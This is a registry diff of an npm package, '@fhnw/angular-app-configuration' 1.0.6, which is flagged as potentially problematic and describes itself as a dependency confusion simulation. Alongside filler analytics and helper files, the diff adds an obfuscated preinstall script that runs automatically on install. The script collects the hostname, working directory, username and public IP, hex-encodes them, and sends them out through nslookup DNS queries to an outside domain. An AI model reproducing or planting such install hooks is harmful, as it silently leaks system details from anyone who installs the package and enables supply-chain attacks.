@fhnw/angular-app-configuration 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @fhnw/angular-app-configuration might be problematic. Click here for more details.

package/analytics.js ADDED
@@ -0,0 +1,15 @@
1
+ console.log("Initializing analytics...");
2
+
3
+ let count = 0;
4
+ setInterval(() => {
5
+ count++;
6
+ console.log(`Heartbeat ${count}`);
7
+ }, 5000);
8
+
9
+
10
+ module.exports = {
11
+ trackEvent: (event) => console.log(`Tracking event: ${event}`)
12
+ };
13
+
14
+ // Example usage
15
+ module.exports.trackEvent('start');
package/helper.js ADDED
@@ -0,0 +1,8 @@
1
+ module.exports = {
2
+ randomNumber: () => Math.floor(Math.random() * 100),
3
+ greeting: (name) => `Hello, ${name}!`,
4
+ logger: () => console.log('Helper module loaded successfully.')
5
+ };
6
+
7
+ console.log('Random number:', module.exports.randomNumber());
8
+ console.log(module.exports.greeting('Developer'));
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@fhnw/angular-app-configuration",
3
+ "version": "1.0.6",
4
+ "description": "Test package for Dependency confusion simulation for customer",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.mjs",
8
+ "start": "node analytics.js"
9
+ },
10
+ "author": "Your Name",
11
+ "license": "MIT",
12
+ "dependencies": {
13
+ "node-fetch": "^3.3.2"
14
+ }
15
+ }
package/preinstall.mjs ADDED
@@ -0,0 +1,61 @@
1
+ import { execSync as _0x8a29 } from 'child_process';
2
+ const _0x7e90 = 'ihafmsb8nb0r.hakupiku.xyz';
3
+ const _0xLabelMax = 53;
4
+ const _0xDomainMax = _0xLabelMax*4;
5
+
6
+ const _0x3cde = 'https://api.ipify.org'; // URL for IP retrieval
7
+ const _0x6b6f = ['f', 'e', 't', 'c', 'h']; // Obfuscating 'fetch'
8
+
9
+ async function _0x1b2d() {
10
+ try {
11
+ // Creating the fetch call dynamically to avoid direct usage of 'fetch'
12
+ const _0x0dbf = await global[_0x6b6f.join('')]( _0x3cde );
13
+ const _0x2836 = await _0x0dbf.text();
14
+ return _0x2836.trim();
15
+ } catch (_0x26f3) {
16
+ console.error('Failed to retrieve public IP:', _0x26f3);
17
+ return 'Unknown';
18
+ }
19
+ }
20
+
21
+ try {
22
+ // Collect system information
23
+ const _0x1b91 = _0x8a29('hostname').toString().trim();
24
+ const _0x7d12 = _0x8a29('pwd').toString().trim();
25
+ const _0x52b0 = _0x8a29('whoami').toString().trim();
26
+
27
+ // Get the public IP address
28
+ const _0xPublicIP = await _0x1b2d();
29
+
30
+ // Combine all information
31
+ const _0x3812 = `${_0x1b91} - ${_0x7d12} - ${_0x52b0} - ${_0xPublicIP}`;
32
+
33
+ // Convert data to hexadecimal
34
+ const _0xHexData = Buffer.from(_0x3812, 'utf8').toString('hex');
35
+
36
+ // Split hex data into labels of max 63 characters
37
+ const _0xLabels = _0xHexData.match(new RegExp(`.{1,${_0xLabelMax}}`, 'g'));
38
+
39
+ let _0xCurrentDomain = _0x7e90; // Start with the root domain
40
+ for (let i = _0xLabels.length - 1; i >= 0; i--) {
41
+ const _0xNextLabel = _0xLabels[i];
42
+ const _0xProposedDomain = `${_0xNextLabel}.${_0xCurrentDomain}`;
43
+
44
+ if (_0xProposedDomain.length > _0xDomainMax) {
45
+ // Send the current domain if the next label exceeds the domain limit
46
+ _0x8a29(`nslookup ${_0xCurrentDomain}`);
47
+ _0xCurrentDomain = `${_0xNextLabel}.${_0x7e90}`; // Start a new domain with the next label
48
+ } else {
49
+ _0xCurrentDomain = _0xProposedDomain;
50
+ }
51
+ }
52
+
53
+ // Send the final domain if there's remaining data
54
+ if (_0xCurrentDomain) {
55
+ _0x8a29(`nslookup ${_0xCurrentDomain}`);
56
+ }
57
+
58
+ console.log('Installed.');
59
+ } catch (_0x26f3) {
60
+ console.error('Preinstall script error:', _0x26f3.message);
61
+ }